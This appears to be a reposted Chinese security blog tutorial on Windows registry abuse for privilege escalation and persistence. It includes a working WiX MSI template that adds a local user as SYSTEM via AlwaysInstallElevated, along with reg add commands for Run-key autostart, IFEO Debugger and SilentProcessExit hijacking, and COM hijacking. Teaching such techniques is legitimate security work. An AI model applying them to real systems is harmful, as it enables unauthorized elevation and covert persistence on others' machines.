windows权限维持与提权(一)-注册表"

admin 2026-10-24 12:49:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

windows权限维持与提权(一)-注册表

原创

跃迁
跃迁

跃迁Sec

2026年10月15日 21:59
湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

本章我们来探索一下注册表,注册表不仅可以用来进行权限维持,还能用于权限提升,我们分开讲。

权限提升

对于注册表来说,可能导致权限提升的情况有两点,一个是注册表权限配置错误,导致普通用户可以修改hklm注册表,就比如直接修改服务注册表,第二种是设置了AlwaysInstallElevated。第一种情况我们之前在\"利用服务提权\"里面讲过了,相关情况就是利用reg命令修改注册表重启服务即可,或者遇到其他情况也是修改注册表,不做过多介绍,我们看一下AlwaysInstallElevated。

介绍一下什么是AlwaysInstallElevated,设置了AlwaysInstallElevated意味着永远以高特权进行安装,一句话来说就是当HKLM和HKCU两处注册表的AlwaysInstallElevated全部等于1,普通用户直接运行任意.msi 安装包,会以 NT AUTHORITY\SYSTEM 权限执行,不需要UAC、不需要管理员密码,怎么检测呢,两条命令

reg query \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\" /v AlwaysInstallElevatedreg query \"HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\" /v AlwaysInstallElevated

当返回值都为1时说明开启,注意,一般情况下普通用户是具有读注册表的权限的,只是写权限被限制的比较死。

接下来就是制作恶意msi上传执行即可,或者也可以使用msf自带的利用模块进行提权,这里我使用msf自带的模块进行利用

对于恶意msi的制作,msf也可以制作,或者使用wix制作都可以,最后上传msi使用msiexec执行即可。

使用wix制作msi文件,功能是添加新用户,这里由于主包的靶机出问题了,我们就检验wix生成的msi文件起作用没有

wix需要生成msi文件需要先编写wxs文件,使用candle生成wixobj文件,最后使用light生成msi文件,wxs文件模板如下

<Wix xmlns=\"http://schemas.microsoft.com/wix/2006/wi\">    <Product Id=\"*\" UpgradeCode=\"12345678-1234-1234-1234-111111111111\" Name=\"23e23deeqwddeweqwde\" Version=\"0.0.1\" Manufacturer=\"Test1\" Language=\"1033\">        <Package InstallerVersion=\"200\" Compressed=\"yes\" Comments=\"Windows Installer Package\" />        <Media Id='1' />        <Directory Id=\"TARGETDIR\" Name=\"SourceDir\">            <Directory Id=\"ProgramFilesFolder\">                <Directory Id=\"INSTALLLOCATION\" Name=\"Example\">                    <Component Id=\"ApplicationFiles\" Guid=\"12345678-1234-1234-1234-222222222222\" KeyPath=\"yes\"></Component>                </Directory>            </Directory>        </Directory>        <Feature Id=\"DefaultFeature\" Level=\"1\">            <ComponentRef Id=\"ApplicationFiles\" />        </Feature>
        <CustomAction             Id=\"Shell\"             Execute=\"deferred\"            Directory=\"TARGETDIR\"             Impersonate=\"no\"             ExeCommand=\"net user root Passw0rd /add\"             Return=\"check\"         />
        <InstallExecuteSequence>            <Custom Action=\"Shell\" After=\"InstallFiles\"></Custom>        </InstallExecuteSequence>    </Product></Wix>

可以看到msi文件起到作用了,在提权环境中,我们可以将当前用户提升至管理员用户。

权限维持

首先就是自启动项,没什么好介绍的,就是往里面加就是了

HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

接下来我们介绍IFEO劫持,首先,我们需要明确什么是IFEO,它的诞生是为了什么。IFEO全称Image File Execution Options,映像文件执行选项,注册表位置在\"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\\",前面我们说到了开机自启动,而IFEO是程序启动自启动,什么意思,只有当某个exe启动时计算机才会读取IFEO并触发相关操作,具体我们演示,这里分为启动前启动和关闭后启动,这里以打开计算机为例。还有一点需要明确,ifeo只存在于HKLM里面。

reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\firefox.exe\" /v Debugger/t REG_SZ /d \"C:\\Windows\\System32\\calc.exe\"

首先创建子项,命名为劫持目标的程序名,比如firefox.exe,然后添加key值,Debugger,作用是开发调试用途,当运行目标 exe,自动启动指定调试器(ntsd、windbg),并把目标程序作为参数传给调试器。

火狐浏览器并没有启动。接下来我们说程序关闭时劫持启动。

reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\firefox.exe\" /v GlobalFlag /t REG_DWORD /d 512reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\firefox.exe\" /v ReportingMode /t REG_DWORD /d 1reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\firefox.exe\" /v MonitorProcess /d \"C:\\Windows\\System32\\calc.exe\"

最后我们讲解COM劫持,在此之前,我们需要了解一个东西clsid,clsid是一个128位GUID,用来唯一标记一个com类,至于com,简单来说Windows 很多系统功能(资源管理器、shell、对话框、WMI、Office)都是一个个COM 组件(DLL/EXE)。 程序不需要知道这个功能代码写在哪、什么语言写的,只要请求创建这个 COM 对象,系统就去查注册表,加载对应的 DLL/EXE,提供服务。怎么查呢,就是用的clsid。com在注册表的位置有以下两个,一个是机器级别的,一个是当前用户级别的

HKLM\\SOFTWARE\\Classes\\CLSID\\{CLSID}HKCU\\SOFTWARE\\Classes\\CLSID\\{CLSID}

而在查找com对象时是有先后顺序的,HKCU的优先级要大于HKLM。一般情况下可能会直接选择修改相关值指向恶意dll

还有一种情况就是HKLM里面存在某clsid值而HKCU里面没有,那么根据优先级我们可以在HKCU里面自建一个一样的clsid子项并写入相关数据指向恶意dll即可实现劫持。

当dll别劫持时什么时候会触发呢,只有当某程序调用到相关com才会触发,所以我们可以选择一些常被调用的com,比如{42aedc87-2188-41fd-b9a3-0c966feabec1},该com会被资源浏览器调用,也就是说一打开文件夹就会触发。

本章到此结束。

windows权限维持与提权(一)-注册表" 网络安全文章

windows权限维持与提权(一)-注册表"

本文介绍利用Windows注册表实现权限维持与提权的方法。提权方面重点讲解AlwaysInstallElevated配置检测与利用,通过构造恶意MSI以SYSTEM权限执行;权限维持方面涵盖自启动项、IFEO劫持及COM劫持技术,并给出具体注册表命令与WIX制作MSI示例。文章实操性强,对红队与渗透测试人员具有较高参考价值。
评论:0   参与:  0